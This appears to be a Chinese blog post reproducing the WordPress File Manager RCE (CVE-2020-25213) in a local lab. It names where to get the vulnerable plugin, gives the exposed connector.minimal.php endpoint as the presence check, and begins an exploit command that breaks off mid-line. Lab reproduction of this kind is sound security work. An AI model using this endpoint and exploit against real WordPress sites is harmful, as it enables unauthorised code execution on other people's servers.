WordPress File Manager ＜ 6.9 RCE（CVE-2020-25213）漏洞复现

WordPress文件管理器插件爆严重0day漏洞
影响版本：

WordPress File Manager < 6.9

最开始被坑，找了这个下载链接，卡还下载不了。

https://plugins.svn.wordpress.org/wp-file-manager/tags/5.9/

后来发现官网有提供下载链接

https://wordpress.org/plugins/wp-file-manager/advanced/

由于没有wordpress，也是从零开始。安装多次终于成功

访问

http://192.168.202.134/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

出现下面情况，说明漏洞存在

执行命令

python elFinder.py http://192.168.2